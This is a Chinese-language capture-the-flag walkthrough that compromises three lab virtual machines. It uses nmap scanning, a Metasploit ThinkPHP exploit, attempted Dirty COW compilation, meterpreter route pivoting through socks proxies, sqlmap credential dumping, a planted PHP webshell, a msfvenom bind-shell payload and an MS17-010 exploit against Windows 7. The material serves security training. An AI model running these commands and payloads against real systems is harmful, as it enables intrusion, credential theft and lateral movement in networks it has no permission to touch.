本文中所涉及的技术仅供教学参考和使用,观看本教程后所产生的的违法行为为观看者责任,与本人无关,请遵守《网络空间安全安全法》共创和谐美好的网络环境。
靶场环境搭建
1.网络配置
靶机环境如上图进行配置,导入ova文件前,实现对vmware worksation的虚拟网络编辑器进行编辑,分别新添加两张仅主机网卡vmnet2(192.168.22.0/24网段)、vmnet3(192.168.33.0/24网段),并将仅主机网卡vmnet1修改成192.168.11.0/24网段。而后导入三台靶机,分别将其网络适配器修改成如上图所示。
2.修改网站端口
根据虚拟机描述中的账号密码、宝塔地址进入Centos,访问宝塔面板地址,添加该主机的web端口。
根据虚拟机描述中的账号密码、宝塔地址进入Ubuntu,访问宝塔面板地址,添加该主机的web端口。
信息搜集
在完成上述环境搭建后,进入kali,确认自身网段信息
ifconfig
自身的ip是192.168.11.130,模拟的外网环境,那么第一台靶机应该和我们在同一个网段内,所以使用nmap进行同网段内存活主机扫描
nmap -sP 192.168.11.0/24 //这里根据你的网段
判断目标存活,ip为192.168.11.128,继续对目标进行扫描
nmap -A 192.168.11.128
//-A为使用攻击性的扫描方式
//更多nmap使用方法请移步相关文章,本文不做过多赘述
扫描结果如图所示,
21端口,开放ftp服务,版本为Pure-ftp
22端口,开放ssh服务 版本为openssh 7.4
80端口,http服务
111端口 rpc服务,作用为提供端口映射
截图来自百度百科
888端口,http服务
3306端口,mysql数据库服务,
8888端口,http服务
在对扫描到的信息进行汇总后可以看到目标主机的以上信息,目标有开放80端口,对目标的80端口进行访问
目标网站的框架是ThinkPHP V5,接下来使用dirb工具对目标的网站进行后台文件扫描爆破
dirb 'URL'//根据自己目标网站的URL
结果如图,存在robots协议,index.php的页面,一个favicon.ico文件,对目标文件一一进行访问,
tag1渗透
访问robots.txt页面看到了第一个flag,flag1到手
刚刚看到tag1有开放21端口,尝试对tag1的ftp服务进行访问
访问失败了,没事,多尝试尝试,在网上搜索和Thinkphp框架相关的Nday的信息,爆出来的有sql注入,文件包含,rce等漏洞。如果想要用sqlmap对网站进行注入的,需要先使用漏洞扫描工具对网站可能存在的漏洞进行扫描,sqlmap只能够对已经存在的漏洞进行验证并利用,不能无中生有。这里我们直接打开kali的MSF,搜索Thinkphp,尝试能否找到对应的攻击载荷
msfconsole
search thinkphp
还真有一个攻击载荷,可以尝试利用一下。
对攻击载荷的参数进行设置,不用多说。这里设置的ip和端口都要根据自己的目标来设置
攻击成功,建立meterpreter通道,这里进入shell,可以看到当前用户为www。
有关meterpreter的命令和使用请移步相关的文章,这里只列出需要的部分命令
python -c 'import pty;pty.spawn("/bin/bash")' //反弹shell
cat /etc/passwd | grep bash //查看用户
ls //列出当前目录下的文件
cat filename //查看文件中的内容,如果在其他目录则需要带上路径
使用python反弹shell
查看用户
存在一个root用户,可以考虑是否要提权
列出当前目录下的文件列表,看到其中有一个flag.txt文件,查看flag文件中的内容
flag2到手。这里我们上传一个漏洞探针来扫描一下可能存在的漏洞
upload/download 文件路径 //在meterpreter中上传或下载文件
chmod 777 filename //对文件赋予可读可写可执行的权限、
./filename //执行文件
在linux中文件具有三种权限,读,写,执行,权重分别为 1,2,4,所以合起来为7,正常运维过程中不可对权限进行滥用,如果想要只赋予执行权限可以将777写成,'+x'。
执行后的结果如下
探针显示存在高危漏洞,dirtycow脏牛漏洞,可以尝试利用一下,这个漏洞有多经典不用我多说
exp去github上面找,搜索CVE-2016-5195,将exp上传到服务器上,并进行编译执行
//编译脏牛
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o 40847 40847.cpp(改成自己的exp名字) -lutil
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dirtyc0w dirtyc0w.c(同上) -lutil
gcc 45010.c -o 45012
也可以查看在github上作者写的readme,里面同样有脏牛的编译方法
上传exp
编译exp
执行exp ,攻击失败,这个脏牛漏洞其实是不能被利用的,如果想要提权的话要尝试其他的方法
尝试很多次了,找了很多exp,没一个能用的。
那就直接检索flag文件吧
find / -name "flag.txt" 2>/dev/null
flag3到手。
第一重内网穿透
进行后渗透信息搜集,主要查看网卡信息,arp之类的。
查看本地路由
run get_local_subnets //查看本地路由
这里有三个网段,11,22,122,具体需要对哪一个进行内网穿刺现在还不能够判断
arp -a //查看arp
可以看到这里有一个192.168.22.129的ip地址,但是没有看到122相关网段的信息,122可能是一个蜜罐之类的,现在能确定我们要进行内网穿刺的网段是22网段。
添加路由
run autoroute -s 192.168.22.0/24 //添加路由
run autoroute -p //查看路由信息
这样就将路由信息添加进去了,这个终端现在不能关,如果重新挂代理都要重新添加路由信息
调用msf的proxychains来设置代理,我们这里用是socks5代理,需要借助proxy工具
use auxiliary/server/socks_proxy
show options
set srvhost 192.168.11.130
set srvport 1080
run
这里设置的ip和端口都是我们本机端口,在设置代理的同时还要对etc文件夹下的proxchains4.conf或者 proxychains.conf文件进行对应的修改,具体先进入自己的文件夹底下查看到底是哪个文件,因为kali的版本不同,文件名字可能有所区别,作者用的是2024版所以是proxychains4文件
vi /etc/proxychains4.conf
对配置文件进行对应修改
设置代理的参数,端口与ip要与配置文件中的一致,这边的代理是已经设置成功了,检查是否成功只要看是否建立会话就可以了
在kali的火狐浏览器中设置代理进行访问,点开浏览器设置,拉到页面最下面点开网络设置就能看到这个页面了,用的是socks5代理,所以我们这里选择socks5,浏览器没有中文的自己去网上搜怎么设置中文。然后我们尝试一下能否成功访问192..168.22.129
OK,内网穿刺成功,成功访问到了内网
tag2渗透
这个时候可以挂着代理开nmap扫一下我们的目标主机,可以向前面那样获取到目标开放的端口信息,但是我不想扫,试一下直接访问他的robots.txt。看看有没有暴露出来的信息
这里有一个登录页面的url,可以试着访问一下
是网站的后台登录页面,一般来说的话内网的网站后台可能不会设置很复杂的密码,可以试一下去网上找到这个网站的网页或者尝试一下弱口令爆破,我这里尝试的是弱口令爆破。
试了几个弱口令都没有成功,也可以尝试用弱口令爆破工具进行爆破,既然不成功的话,那就换一种方式。
回到前台看一下网页的源代码
在源代码里面看到了这个,作者给了一个提示,存在sql注入的注入点,那就尝试用sql注入了,这里直接用sqlmap跑就不手工注入了
sqlmap -u 'url' --proxy=socks5://192.168.11.130:1080 --dbs //爆出所有的的数据库
sqlmap -u 'url' --proxy=socks5://192.168.11.130:1080 -D 数据库名 --tables
sqlmap -u 'url' --proxy=socks5://192.168.11.130:1080 -D 数据库名 -T 表名 --columns
sqlmap -u 'url' --proxy=socks5://192.168.11.130:1080 -D 数据库名 -T 表名 -C 字段名 --dump
这里也是成功的把我们需要的用户名和密码都获取到了,用这个用户名和密码就可以登录网站的后台了
这里也是成功的看到了我们的flag4,登录网站后台后我们就可以尝试植入一句话木马了,在模版里面可以看到有php文件
在tag目录底下的index.php里面就可以写入我们的一句话木马了
然后就可以用蚁剑,菜刀,哥斯拉等工具连接我们的一句话木马,获取webshell,我这里用的是Cknife
这里注意写在tag里面就要在url后面加上参数。
http://ip:80/index.php?r=tag
OK连接成功,webshell获取成功,接下来就可以查找我们想要的东西了
成功找到了第五个flag。查看一下文件内容
flag5到手。
直接在webshell中查找flag文件,和之前一样的命令
flag6到手。由于现在获取的webshell,我们需要一个服务器的shell,需要往里面上传一个木马文件。同时监听反弹shell
第二重内网穿透
用kali生成一个木马文件
msfvenom -p linux/x86/meterpreter/bind_tcp LPORT=4444 -f elf -o 2.elf
这里生成的是正向连接的木马,为什么不是反向链接,因为我们这时候是挂着socks代理的,tag2并没有去往我们kali的路由,但是因为挂着代理的缘故,我们kali有去往tag2的路由,所以这里要生成一个正向链接的木马
如果没有指定木马生成的位置的话,默认是在home目录里面的,将木马通过到我们刚刚的webshell上传到服务器上,
在kali的msf中开启监听,同时对在webshell上木马文件赋权并执行,让我们上传的木马上线
use exploit/multi/handler
set payload linux/x86/meterpreter/bind_tcp
set rhost 192.168.22.129
set lport 4444
run
反弹成功。建立meterpreter通道
接下来就是和我们在tag1的时候做同样的事情,进行内网信息的搜集,这里也不多说,重点是接下来的内网漫游
查看本地的网络信息
查看arp,发现只有一个22的,我们要自己添加一个去往33的
添加路由并查看 ,这时我们就有了去往33的路由了,
这里继续使用我们的proxy辅助模块进行代理,这里需要换一个端口进行代理,但是不需要再去更改配置文件
这样就能看到我们有了两个代理。
这里需要使用auxiliary/scanner/portscan/tcp模块进行内网信息的搜集,设置网站和需要扫描的端口
OK,找到,192.168.33.33就是我们的目标
挂着代理用nmap扫描一下
看到这些开放的端口和服务,这台可能是windows的服务器,开放了445端口,查看一下有没有ms17-010漏洞的存在
看结果,目标主机是windows7,且存在ms17-010漏洞,尝试利用
use exploit/windows/smb/ms_17_010_psexec
set payload windows/x64/meterpreter/bind_tcp
set rhosts 192.168.33.33
set rport 445
run
ok ,漏洞利用成功,建立meterpreter通道
shell
dir /S flag.txt /B
type 找到的flag文件的绝对路径
flag7到手
flag8到手,这个flag在桌面上。找不到看一下自己电脑桌面是哪个路径